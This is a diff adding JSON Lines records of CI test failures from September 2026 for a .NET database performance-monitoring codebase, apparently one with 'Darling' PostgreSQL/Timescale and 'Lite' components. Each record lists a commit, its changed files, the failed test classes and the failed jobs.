+{"date":"2026-09-24","head_sha":"7b696d60d733692d9e112c142c7968fd9b4bed50","event":"pull_request","changed_files":["Darling/Darling.Tests/SqlServerStoreTileBehaviourTests.cs"],"failed_classes":["Darling.Tests.SqlServerStoreTileBehaviourTests"],"failed_jobs":["Darling PG tests (2)"]}
+{"date":"2026-09-24","head_sha":"8a87e96d71d3a967230414b7488289dfb5d474b3","event":"pull_request","changed_files":["Darling/Darling.Tests/PgTargetTileBehaviourTests.cs"],"failed_classes":["Darling.Tests.PgTargetTileBehaviourTests","Darling.Tests.SharedBaselineCacheLiveTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-09-24","head_sha":"bae1fca91eddf3083311bff3832b6f2b1ad51d8a","event":"pull_request","changed_files":["Darling/Darling.Tests/PgTargetTileBehaviourTests.cs"],"failed_classes":["Darling.Tests.PgTargetTileBehaviourTests","Darling.Tests.SharedBaselineCacheLiveTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-09-24","head_sha":"f36b0a75bb9599862d2846bbc5072b175e6c5426","event":"pull_request","changed_files":["Lite/Analysis/AnomalyDetector.cs"],"failed_classes":["Darling.Tests.DarlingAnomalyBaselineTests","PerformanceMonitorLite.Tests.AnomalyDetectorTests"],"failed_jobs":["build","Lite tests (2)"]}
+{"date":"2026-09-24","head_sha":"8983c978418166784cb4607871fb52dedecadbc5","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingAnomalyBaselineTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgAnomalyDetector.cs"],"failed_classes":["Darling.Tests.SqlServerStoreTileBehaviourTests"],"failed_jobs":["Darling PG tests (2)"]}
+{"date":"2026-09-24","head_sha":"b3fa71b1b1ca081bc7c053f1caa0d9af71f8784f","event":"pull_request","changed_files":["Darling/Darling.Tests/PgTargetTileBehaviourIoReplicationBlockingTests.cs"],"failed_classes":["Darling.Tests.PgTargetBlockingTests","Darling.Tests.PgTargetTileBehaviourIoReplicationBlockingTests","Darling.Tests.SharedBaselineCacheLiveTests"],"failed_jobs":["Darling PG tests (2)","Darling PG tests (1)"]}
+{"date":"2026-09-24","head_sha":"26e2db9b66d04d61cb96b744fbf0f8f7368fd3fa","event":"pull_request","changed_files":["Darling/Darling.Tests/PgTargetTileBehaviourTests.cs"],"failed_classes":["Darling.Tests.PgTargetTileBehaviourTests","Darling.Tests.SharedBaselineCacheLiveTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-09-24","head_sha":"48510777740fdb6e10d206efbbbd7a4160e6c267","event":"pull_request","changed_files":["Darling/Darling.Tests/SqlServerStoreTileBehaviourTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgAnomalyDetector.cs"],"failed_classes":["Darling.Tests.SqlServerStoreTileBehaviourTests"],"failed_jobs":["Darling PG tests (2)"]}
+{"date":"2026-09-24","head_sha":"a3b574993759cf702066c8ddb7f1041bc7ce9ea1","event":"pull_request","changed_files":["Lite.Tests/AnomalyDetectorTests.cs"],"failed_classes":["Darling.Tests.DarlingAnomalyBaselineTests"],"failed_jobs":["build"]}
+{"date":"2026-09-24","head_sha":"213fe55c693b683c943f3844742fa2258f74bcb8","event":"pull_request","changed_files":["Lite/Analysis/AnomalyDetector.cs"],"failed_classes":["Darling.Tests.DarlingAnomalyBaselineTests"],"failed_jobs":["build"]}
+{"date":"2026-09-24","head_sha":"0c58c0eb56ea475c91ed9106a639e87602af7595","event":"pull_request","changed_files":["Darling/Darling.Tests/PgTargetWriteTests.cs"],"failed_classes":["Darling.Tests.PgTargetSampledWaitLiveTests","Darling.Tests.SharedBaselineCacheLiveTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-09-24","head_sha":"58d19e6748962ec878106c31b5f0ca9862975abb","event":"pull_request","changed_files":["Darling/Darling.Tests/PgTargetTileBehaviourIoReplicationBlockingTests.cs"],"failed_classes":["Darling.Tests.PgTargetTileBehaviourIoReplicationBlockingTests","Darling.Tests.SharedBaselineCacheLiveTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-09-24","head_sha":"798c28746bbb7cf0c9bd0dcea1ce6497f9691e61","event":"pull_request","changed_files":["Darling/Darling.Tests/PgTargetAnomalyTests.cs","Darling/Darling.Tests/PgTargetTileBehaviourTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetAnomalyDetector.cs"],"failed_classes":["Darling.Tests.SharedBaselineCacheLiveTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-09-24","head_sha":"8b3c5767f081393cbc89be5253529987ca309826","event":"pull_request","changed_files":["Darling/Darling.Tests/AnomalyNullWindowLiveTests.cs"],"failed_classes":["Darling.Tests.SqlServerStoreTileBehaviourTests"],"failed_jobs":["Darling PG tests (2)","Darling PG tests (0)"]}
+{"date":"2026-09-24","head_sha":"34b9395198b3bf8fc9913ade1de3ec83876879cd","event":"pull_request","changed_files":["Darling/Darling.Tests/PgTargetTileBehaviourWalKernelSampledTests.cs"],"failed_classes":["Darling.Tests.PgTargetSampledWaitLiveTests","Darling.Tests.PgTargetTileBehaviourWalKernelSampledTests","Darling.Tests.SharedBaselineCacheLiveTests"],"failed_jobs":["Darling PG tests (2)","Darling PG tests (1)"]}
+{"date":"2026-09-24","head_sha":"c9877aad46cbffd4294ecafb4df9350999b4ce86","event":"pull_request","changed_files":["Lite.Tests/AnomalyDetectorTileBehaviourBatchSessionQueryMemoryTests.cs"],"failed_classes":["Darling.Tests.DarlingAnomalyBaselineTests","PerformanceMonitorLite.Tests.AnomalyDetectorTileBehaviourBatchSessionQueryMemoryTests"],"failed_jobs":["Lite tests (1)","build"]}
+{"date":"2026-09-24","head_sha":"fee46d2ffca92f0a5019bd64ccd47be5cc883d73","event":"pull_request","changed_files":["Darling/Darling.Tests/SqlServerStoreTileBehaviourBatchQueryMemoryTests.cs"],"failed_classes":["Darling.Tests.SqlServerStoreTileBehaviourBatchQueryMemoryTests","Darling.Tests.SqlServerStoreTileBehaviourTests"],"failed_jobs":["Darling PG tests (0)","Darling PG tests (2)","Darling PG tests (1)"]}
+{"date":"2026-09-24","head_sha":"88751883379b8ccf015aa947acc09b2ee65f5ceb","event":"pull_request","changed_files":["Lite.Tests/AnomalyDetectorTileBehaviourTests.cs"],"failed_classes":["Darling.Tests.DarlingAnomalyBaselineTests","PerformanceMonitorLite.Tests.AnomalyDetectorTileBehaviourTests"],"failed_jobs":["Lite tests (1)","build"]}
+{"date":"2026-09-24","head_sha":"4195e827d1fb73d5e31a8918681324d2319282e8","event":"pull_request","changed_files":["Darling/Darling.Tests/RobustBaselineTests.cs","PerformanceMonitor.Analysis/Baselines/BaselineMath.cs"],"failed_classes":["Darling.Tests.LocalClockBucketKeyLiveTests","PerformanceMonitorLite.Tests.BaselineProviderTests","PerformanceMonitorLite.Tests.LocalClockBucketKeyTests"],"failed_jobs":["Lite tests (2)","Lite tests (0)","Darling PG tests (1)"]}
+{"date":"2026-09-24","head_sha":"d5370df470c7f7f3a589ea9861886bf80a78c561","event":"pull_request","changed_files":["Lite.Tests/AnomalyDetectorTileBehaviourTests.cs"],"failed_classes":["Darling.Tests.DarlingAnomalyBaselineTests","PerformanceMonitorLite.Tests.AnomalyDetectorTileBehaviourTests"],"failed_jobs":["build","Lite tests (1)"]}
+{"date":"2026-09-24","head_sha":"87836cc97e8847b8b59dd6b127b76ad83b4824b0","event":"pull_request","changed_files":["Lite.Tests/AnomalyDetectorTileBehaviourBatchSessionQueryMemoryTests.cs"],"failed_classes":["Darling.Tests.DarlingAnomalyBaselineTests","PerformanceMonitorLite.Tests.AnomalyDetectorTileBehaviourBatchSessionQueryMemoryTests"],"failed_jobs":["build","Lite tests (1)"]}
+{"date":"2026-09-24","head_sha":"097fd767dc72abf524df5c1d205a70ab524bacaf","event":"pull_request","changed_files":["Darling/Darling.Tests/SqlServerStoreTileBehaviourBatchQueryMemoryTests.cs"],"failed_classes":["Darling.Tests.SqlServerStoreTileBehaviourTests"],"failed_jobs":["Darling PG tests (0)","Darling PG tests (2)"]}
+{"date":"2026-09-24","head_sha":"3de285b652943777797c221fdbfe1e7a5772a363","event":"pull_request","changed_files":["Lite.Tests/AnomalyDetectorTileBehaviourBatchSessionQueryMemoryTests.cs"],"failed_classes":["Darling.Tests.DarlingAnomalyBaselineTests"],"failed_jobs":["build"]}
+{"date":"2026-09-24","head_sha":"91a978ed6f837fa335f79e3f2ff42c590a6c6288","event":"pull_request","changed_files":["Darling/Darling.Tests/RobustBaselineTests.cs","PerformanceMonitor.Analysis/Baselines/BaselineBucket.cs","PerformanceMonitor.Analysis/Baselines/BaselineMath.cs"],"failed_classes":["Darling.Tests.LocalClockBucketKeyLiveTests","PerformanceMonitorLite.Tests.BaselineProviderTests","PerformanceMonitorLite.Tests.LocalClockBucketKeyTests"],"failed_jobs":["Darling PG tests (1)","Lite tests (2)","Lite tests (0)"]}
+{"date":"2026-09-24","head_sha":"0ac14fc78e1c18418a0d47eb2a5c67897815d054","event":"pull_request","changed_files":["Lite.Tests/AnomalyDetectorTileBehaviourTests.cs"],"failed_classes":["Darling.Tests.DarlingAnomalyBaselineTests","PerformanceMonitorLite.Tests.AnomalyDetectorTileBehaviourTests"],"failed_jobs":["build","Lite tests (1)"]}
+{"date":"2026-09-24","head_sha":"723a7007c5becb3cc98a1da72dfee0fdddec6710","event":"pull_request","changed_files":["Darling/Darling.Tests/PgTargetAnomalyTests.cs","Darling/Darling.Tests/PgTargetKernelTests.cs","Darling/Darling.Tests/PgTargetSampledWaitLiveTests.cs","Darling/Darling.Tests/PgTargetSampledWaitTests.cs","Darling/Darling.Tests/PgTargetTileBehaviourWalKernelSampledTests.cs","Darling/Darling.Tests/PgTargetWriteTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetAnomalyDetector.Kernel.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetAnomalyDetector.WaitsSampled.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetAnomalyDetector.Wal.cs"],"failed_classes":["Darling.Tests.PgTargetSampledWaitLiveTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-09-24","head_sha":"94038080ae2080c1760d65597022ec178a36659a","event":"pull_request","changed_files":["Darling/Darling.Tests/RobustBaselineTests.cs","Lite.Tests/BaselineProviderTests.cs","Lite.Tests/LocalClockBucketKeyTests.cs","PerformanceMonitor.Analysis/Baselines/BaselineBucket.cs","PerformanceMonitor.Analysis/Baselines/BaselineMath.cs"],"failed_classes":["Darling.Tests.LocalClockBucketKeyLiveTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-09-24","head_sha":"c42df0c5f92bc9c71732755bcc34860e443c9386","event":"pull_request","changed_files":["Darling/Darling.Tests/AnomalyDetectorErrorGuardLiveTests.cs"],"failed_classes":["Darling.Tests.DocCommentHygieneTests"],"failed_jobs":["Darling PG tests (1)","build"]}
+{"date":"2026-09-24","head_sha":"80dc86e8553f65af6c8d1030c365c00e9208e40e","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingAnomalyBaselineTests.cs","Lite.Tests/AnomalyDetectorTests.cs","Lite.Tests/AnomalyDetectorTileBehaviourTests.cs","Lite/Analysis/AnomalyDetector.cs"],"failed_classes":["Darling.Tests.DarlingAnomalyBaselineTests"],"failed_jobs":["build","Darling PG tests (0)"]}
+{"date":"2026-09-24","head_sha":"3216c5d674f8f0733675f1aee0fb2662ef863119","event":"pull_request","changed_files":["Darling/Darling.Tests/AnomalyDetectorErrorGuardLiveTests.cs"],"failed_classes":["Darling.Tests.AnomalyDetectorErrorGuardLiveTests","Darling.Tests.DocCommentHygieneTests"],"failed_jobs":["build","Darling PG tests (1)","Darling PG tests (2)"]}
+{"date":"2026-09-24","head_sha":"5219f29479a942b0568d800782a9c0ff0d56f94d","event":"pull_request","changed_files":["Darling/Darling.Tests/IntervalHonestHourlyRollupTests.cs","Darling/Darling.Tests/TimescaleAggregateCompressionTests.cs","docs/runbooks/a6-successor-daily-backfill.md"],"failed_classes":["Darling.Tests.DocCommentHygieneTests","Darling.Tests.IntervalHonestHourlyRollupLiveTests","Darling.Tests.MaterializationHoleRepairTests","Darling.Tests.TimescaleAggregateCompressionTests","PerformanceMonitorLite.Tests.AnomalyDetectorTileBehaviourTests"],"failed_jobs":["build","Darling PG tests (2)","Darling PG tests (0)","Lite tests (1)","Darling PG tests (1)"]}
+{"date":"2026-09-24","head_sha":"e4cb4a3699d102a64a616d5346156e3d39764a81","event":"pull_request","changed_files":["Darling/Darling.Tests/StitchedRelationSqlTests.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs"],"failed_classes":["Darling.Tests.DocCommentHygieneTests","PerformanceMonitorLite.Tests.AnomalyDetectorTileBehaviourTests"],"failed_jobs":["Lite tests (1)","build","Darling PG tests (1)"]}
+{"date":"2026-09-24","head_sha":"1c726d7f675026f839843485382c1b5bb974b384","event":"pull_request","changed_files":["Darling/Darling.Tests/SuccessorDailyLiveTests.cs","Darling/Darling.Tests/TimescaleAggregateCompressionTests.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs"],"failed_classes":["Darling.Tests.IntervalHonestHourlyRollupLiveTests","Darling.Tests.LivePostgresCollectionHygieneTests","Darling.Tests.MaterializationHoleRepairTests","Darling.Tests.SuccessorDailyLiveTests","PerformanceMonitorLite.Tests.AnomalyDetectorTileBehaviourTests"],"failed_jobs":["build","Darling PG tests (1)","Lite tests (1)","Darling PG tests (0)"]}
+{"date":"2026-09-24","head_sha":"24d76b370d163d39fbb5cb79b4693e1124d47102","event":"pull_request","changed_files":["Darling/Darling.Tests/MaterializationHoleRepairTests.cs","Darling/Darling.Tests/SuccessorDailyLiveTests.cs"],"failed_classes":["Darling.Tests.IntervalHonestHourlyRollupLiveTests","Darling.Tests.SuccessorDailyLiveTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-09-24","head_sha":"31bbb6682d58ef75b32339d642344336b40d7142","event":"pull_request","changed_files":["Darling/Darling.Tests/RollupCoverageRoutingTests.cs"],"failed_classes":["Darling.Tests.DocCommentHygieneTests"],"failed_jobs":["Darling PG tests (1)","build"]}
+{"date":"2026-09-24","head_sha":"55d78cb0a2d130b5e0f35f39b0fbad87d6a90698","event":"pull_request","changed_files":["Darling/Darling.Tests/SuccessorDailyLiveTests.cs"],"failed_classes":["Darling.Tests.IntervalHonestHourlyRollupLiveTests","Darling.Tests.SuccessorDailyLiveTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-09-24","head_sha":"e708093a4bf102da9a40992e979cb1764a63b55c","event":"pull_request","changed_files":["Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingHealthReader.cs","Darling/PerformanceMonitor.Darling.Storage/DailySummarySql.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.DailySummary.cs"],"failed_classes":["Darling.Tests.DailySummaryNotCarriedLiveTests","Darling.Tests.DocCommentHygieneTests"],"failed_jobs":["build","Darling PG tests (2)","Darling PG tests (1)"]}
+{"date":"2026-09-24","head_sha":"37fcfc144c3569b300cc000851b939ccb631317e","event":"pull_request","changed_files":["Darling/Darling.Tests/DailySummaryStitchedRangeTests.cs"],"failed_classes":["Darling.Tests.DailySummaryNotCarriedLiveTests","Darling.Tests.DocCommentHygieneTests"],"failed_jobs":["Darling PG tests (1)","Darling PG tests (2)","build"]}
+{"date":"2026-09-24","head_sha":"d244949e4b4f31ffaa45256b2e78ff4f5a4c6ac5","event":"pull_request","changed_files":["Darling/Darling.Tests/IntervalHonestHourlyRollupTests.cs","Darling/Darling.Tests/SuccessorDailyLiveTests.cs"],"failed_classes":["Darling.Tests.IntervalHonestHourlyRollupLiveTests","Darling.Tests.SuccessorDailyLiveTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-09-24","head_sha":"8454c3afda07704780bec760f9e0a35e9cec706a","event":"pull_request","changed_files":["Darling/Darling.Tests/DailySummaryAndComposeStitchedLiveTests.cs","Darling/Darling.Tests/DarlingMcpTrendToolsTests.cs","Darling/Darling.Tests/DarlingTrendReaderStitchTests.cs","Darling/Darling.Tests/RollupCoverageRoutingTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTrendTools.cs"],"failed_classes":["Darling.Tests.DailySummaryNotCarriedLiveTests","Darling.Tests.DocCommentHygieneTests","Darling.Tests.LivePostgresCollectionHygieneTests","Darling.Tests.PgTargetBlockingTests","Darling.Tests.RollupCoverageRoutingTests"],"failed_jobs":["Darling PG tests (0)","build","Darling PG tests (2)","Darling PG tests (1)"]}
+{"date":"2026-09-24","head_sha":"e2e007f88c7aae5d0aa6d20c2d3539b2f04e18fe","event":"pull_request","changed_files":["Darling/Darling.Tests/DailySummaryAndComposeStitchedLiveTests.cs","Darling/Darling.Tests/DailySummaryStitchedRangeTests.cs","Darling/Darling.Tests/DarlingMcpTrendToolsTests.cs","Darling/Darling.Tests/DarlingTrendReaderStitchTests.cs","Darling/Darling.Tests/RollupCoverageRoutingTests.cs","Darling/Darling.Tests/StitchedRelationSqlTests.cs","Darling/PerformanceMonitor.Darling.Service/Compose/ComposeCompiler.cs","Darling/PerformanceMonitor.Darling.Service/Compose/ComposeSourceRouter.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingHealthReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTrendTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingTrendReader.cs","Darling/PerformanceMonitor.Darling.Storage/DailySummarySql.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.DailySummary.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Workload.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryTrends.cs"],"failed_classes":["Darling.Tests.DailySummaryNotCarriedLiveTests","Darling.Tests.LivePostgresCollectionHygieneTests"],"failed_jobs":["Darling PG tests (2)","build","Darling PG tests (0)"]}
+{"date":"2026-09-25","head_sha":"f17b6df1341f112c110b9600e1b45d5508fc9d2c","event":"pull_request","changed_files":["Darling/Darling.Tests/DailySummaryStitchedRangeTests.cs","Darling/Darling.Tests/RollupCoverageRoutingTests.cs","Darling/Darling.Tests/StitchedRelationSqlTests.cs","Darling/PerformanceMonitor.Darling.Service/Compose/ComposeSourceRouter.cs","Darling/PerformanceMonitor.Darling.Storage/DailySummarySql.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Workload.cs"],"failed_classes":["Darling.Tests.PgTargetBlockingTests"],"failed_jobs":["Darling PG tests (2)"]}
+{"date":"2026-09-25","head_sha":"5fe4fb64bd23645cbf413d598fd84125baa2367c","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingAnomalyBaselineTests.cs","Darling/Darling.Tests/SqlServerStoreTileBehaviourBatchQueryMemoryTests.cs","Darling/Darling.Tests/SqlServerStoreTileBehaviourTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgAnomalyDetector.cs"],"failed_classes":["Darling.Tests.SqlServerStoreTileBehaviourTests"],"failed_jobs":["Darling PG tests (2)"]}
+{"date":"2026-09-25","head_sha":"02a1f124d3068b36428d29131cbc875eaa833f6b","event":"pull_request","changed_files":["Darling/Darling.Tests/RollupBackfillTests.cs","Darling/PerformanceMonitor.Darling.Storage/RollupBackfill.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs"],"failed_classes":["Darling.Tests.BaselineSupplyTests","Darling.Tests.CompressionPhaseAssignmentTests","Darling.Tests.DailySummaryAndComposeStitchedLiveTests","Darling.Tests.DailySummaryNotCarriedLiveTests","Darling.Tests.DailySummaryNotCarriedTests","Darling.Tests.DailySummaryReadShapeLiveTests","Darling.Tests.DailySummaryReadShapeSqlTests","Darling.Tests.DailySummaryStitchedRangeTests","Darling.Tests.DocCommentHygieneTests","Darling.Tests.IntervalHonestHourlyRollupLiveTests","Darling.Tests.IntervalHonestHourlyRollupTests","Darling.Tests.MaterializationHoleRepairLiveTests","Darling.Tests.MaterializationHoleRepairTests","Darling.Tests.MaterializationHoleScanShapeLiveTests","Darling.Tests.MeasurementContractCensusTests","Darling.Tests.RefreshCeilingProvenancePinTests","Darling.Tests.RefreshCeilingStalenessTests","Darling.Tests.RollupBackfillLiveTests","Darling.Tests.SuccessorDailyLiveTests","Darling.Tests.TimescaleAggregateCompressionTests","Darling.Tests.TimescaleContinuousAggregateTests","Darling.Tests.TimescaleSupportTests"],"failed_jobs":["build","Darling PG tests (2)","Darling PG tests (1)","Darling PG tests (0)"]}
+{"date":"2026-09-25","head_sha":"193506c3bfde145aec380549766e9ac6a38b320d","event":"push","changed_files":["Darling/Darling.Tests/DailyStitchLiveTests.cs","Darling/Darling.Tests/DailySummaryStitchedRangeTests.cs","Darling/Darling.Tests/RollupCoverageRoutingTests.cs","Darling/Darling.Tests/StitchedRelationSqlTests.cs","Darling/PerformanceMonitor.Darling.Service/Compose/ComposeSourceRouter.cs","Darling/PerformanceMonitor.Darling.Storage/DailySummarySql.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Workload.cs"],"failed_classes":["Darling.Tests.ComposeStoreRolesLiveTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-09-25","head_sha":"1cc0bb25188617cb0e06004cc54819dec6c29f16","event":"pull_request","changed_files":["Darling/Darling.Tests/IntervalHonestHourlyRollupTests.cs","Darling/Darling.Tests/RollupBackfillTests.cs","Darling/Darling.Tests/TimescaleAggregateCompressionTests.cs","Darling/PerformanceMonitor.Darling.Storage/RollupBackfill.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs"],"failed_classes":["Darling.Tests.BaselineSupplyTests","Darling.Tests.CompressionPhaseAssignmentTests","Darling.Tests.DailyStitchLiveTests","Darling.Tests.DailySummaryAndComposeStitchedLiveTests","Darling.Tests.DailySummaryNotCarriedLiveTests","Darling.Tests.DailySummaryNotCarriedTests","Darling.Tests.DailySummaryReadShapeLiveTests","Darling.Tests.DailySummaryReadShapeSqlTests","Darling.Tests.DailySummaryStitchedRangeTests","Darling.Tests.IntervalHonestHourlyRollupLiveTests","Darling.Tests.IntervalHonestHourlyRollupTests","Darling.Tests.MaterializationHoleRepairLiveTests","Darling.Tests.MaterializationHoleRepairTests","Darling.Tests.MaterializationHoleScanShapeLiveTests","Darling.Tests.MeasurementContractCensusTests","Darling.Tests.PayloadDimensionLiveTests","Darling.Tests.QueryStoreCorrectedRollupLiveTests","Darling.Tests.RefreshCeilingProvenancePinTests","Darling.Tests.RefreshCeilingStalenessTests","Darling.Tests.RetentionReevaluationLiveTests","Darling.Tests.RollupBackfillLiveTests","Darling.Tests.SuccessorDailyLiveTests","Darling.Tests.TimescaleAggregateCompressionTests","Darling.Tests.TimescaleContinuousAggregateTests","Darling.Tests.TimescaleSupportTests"],"failed_jobs":["Darling PG tests (0)","build","Darling PG tests (1)","Darling PG tests (2)"]}
+{"date":"2026-09-25","head_sha":"1abc48ba8aad34e3ebd80e9116a8c5f725075d0f","event":"pull_request","changed_files":["Darling/Darling.Tests/IntervalHonestHourlyRollupTests.cs","Darling/Darling.Tests/RollupBackfillTests.cs","Darling/Darling.Tests/TimescaleAggregateCompressionTests.cs","Darling/PerformanceMonitor.Darling.Storage/RollupBackfill.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs"],"failed_classes":["Darling.Tests.BaselineSupplyTests","Darling.Tests.CompressionPhaseAssignmentTests","Darling.Tests.DailyStitchLiveTests","Darling.Tests.DailySummaryAndComposeStitchedLiveTests","Darling.Tests.DailySummaryNotCarriedLiveTests","Darling.Tests.DailySummaryNotCarriedTests","Darling.Tests.DailySummaryReadShapeLiveTests","Darling.Tests.DailySummaryReadShapeSqlTests","Darling.Tests.DailySummaryStitchedRangeTests","Darling.Tests.IntervalHonestHourlyRollupLiveTests","Darling.Tests.IntervalHonestHourlyRollupTests","Darling.Tests.MaterializationHoleRepairLiveTests","Darling.Tests.MaterializationHoleRepairTests","Darling.Tests.MaterializationHoleScanShapeLiveTests","Darling.Tests.MeasurementContractCensusTests","Darling.Tests.PayloadDimensionLiveTests","Darling.Tests.QueryStoreCorrectedRollupLiveTests","Darling.Tests.RefreshCeilingProvenancePinTests","Darling.Tests.RefreshCeilingStalenessTests","Darling.Tests.RetentionReevaluationLiveTests","Darling.Tests.RollupBackfillLiveTests","Darling.Tests.SuccessorDailyLiveTests","Darling.Tests.TimescaleAggregateCompressionTests","Darling.Tests.TimescaleContinuousAggregateTests","Darling.Tests.TimescaleSupportTests"],"failed_jobs":["build","Darling PG tests (1)","Darling PG tests (2)","Darling PG tests (0)"]}
+{"date":"2026-09-25","head_sha":"fafcda881f46b53d1ba34f479ab8620571b14d89","event":"pull_request","changed_files":["Darling/Darling.Tests/BaselineSupplyTests.cs","Darling/Darling.Tests/CompressionPhaseAssignmentTests.cs","Darling/Darling.Tests/DailySummaryNotCarriedTests.cs","Darling/Darling.Tests/DailySummaryReadShapeTests.cs","Darling/Darling.Tests/DailySummaryStitchedRangeTests.cs","Darling/Darling.Tests/FrozenRollupLiveTests.cs","Darling/Darling.Tests/IntervalHonestHourlyRollupTests.cs","Darling/Darling.Tests/MaterializationHoleRepairTests.cs","Darling/Darling.Tests/MaterializationHoleScanShapeTests.cs","Darling/Darling.Tests/MeasurementContractCensusTests.cs","Darling/Darling.Tests/RollupBackfillLiveTests.cs","Darling/Darling.Tests/RollupBackfillTests.cs","Darling/Darling.Tests/SuccessorDailyLiveTests.cs","Darling/Darling.Tests/TimescaleAggregateCompressionTests.cs","Darling/Darling.Tests/TimescaleSupportTests.cs","Darling/PerformanceMonitor.Darling.Storage/DailySummarySql.cs","Darling/PerformanceMonitor.Darling.Storage/RollupBackfill.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.MaterializationHoles.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs"],"failed_classes":["Darling.Tests.DailySummaryNotCarriedLiveTests","Darling.Tests.MaterializationHoleScanShapeLiveTests","Darling.Tests.PayloadDimensionLiveTests","Darling.Tests.QueryStoreCorrectedRollupLiveTests","Darling.Tests.RefreshCeilingProvenancePinTests","Darling.Tests.RefreshCeilingStalenessTests","Darling.Tests.RetentionReevaluationLiveTests","Darling.Tests.RollupBackfillLiveTests","Darling.Tests.TimescaleContinuousAggregateTests"],"failed_jobs":["Darling PG tests (2)","Darling PG tests (0)","build","Darling PG tests (1)"]}
+{"date":"2026-09-25","head_sha":"775d4b660fcdf3a9140f9553b90a3329f8437eff","event":"pull_request","changed_files":["Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFleetTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHostService.cs","Lite/Mcp/McpHealthTools.cs","Lite/Mcp/McpHostService.cs","Lite/Services/LocalDataService.CollectionHealth.cs","PerformanceMonitor.Common/Mcp/McpResponseBudget.cs","PerformanceMonitor.Common/Mcp/McpResponseBudgetCallToolFilter.cs"],"failed_classes":["Darling.Tests.DarlingCustomViewsTests","Darling.Tests.McpPayloadContractCensusTests","Darling.Tests.McpToolGuideHeadsCollectionLogTests","Darling.Tests.McpToolGuideHeadsPlatformTests","Darling.Tests.McpToolsListBudgetTests"],"failed_jobs":["Darling PG tests (0)","build","Darling PG tests (1)","Darling PG tests (2)"]}
+{"date":"2026-09-25","head_sha":"1c2cd71fbd573fb0c6820439316fc4959bb68d6a","event":"pull_request","changed_files":["Darling/Darling.Tests/PgTargetBetweenWavesV3Tests.cs","Darling/PerformanceMonitor.Darling.Analysis/DarlingAnalysisService.cs","Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetFactCollector.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgCpuUtilizationTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpQueryStoreRegressionTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingQueryStoreRegressionReader.cs","Darling/PerformanceMonitor.Darling.Storage/DarlingPgCpuUtilizationReader.cs","Lite/Analysis/AnalysisService.cs","Lite/Analysis/DuckDbFactCollector.cs","Lite/Mcp/McpAnalysisTools.cs","PerformanceMonitor.Common/Mcp/TrendBuckets.cs"],"failed_classes":["Darling.Tests.CollectorRunnerConnectionEngineTests","Darling.Tests.DarlingAnalysisServiceEngineRoutingTests","Darling.Tests.DarlingQueryStoreRegressionsLiveTests","Darling.Tests.DocCommentHygieneTests","Darling.Tests.McpToolGuideHeadsQsRegressionsTests","Darling.Tests.McpToolGuideTests","Darling.Tests.McpToolsListBudgetTests","Darling.Tests.PgTargetAuditConfigTests","Darling.Tests.PgTargetMcpSurfaceTests"],"failed_jobs":["Darling PG tests (0)","Darling PG tests (2)","build","Darling PG tests (1)"]}
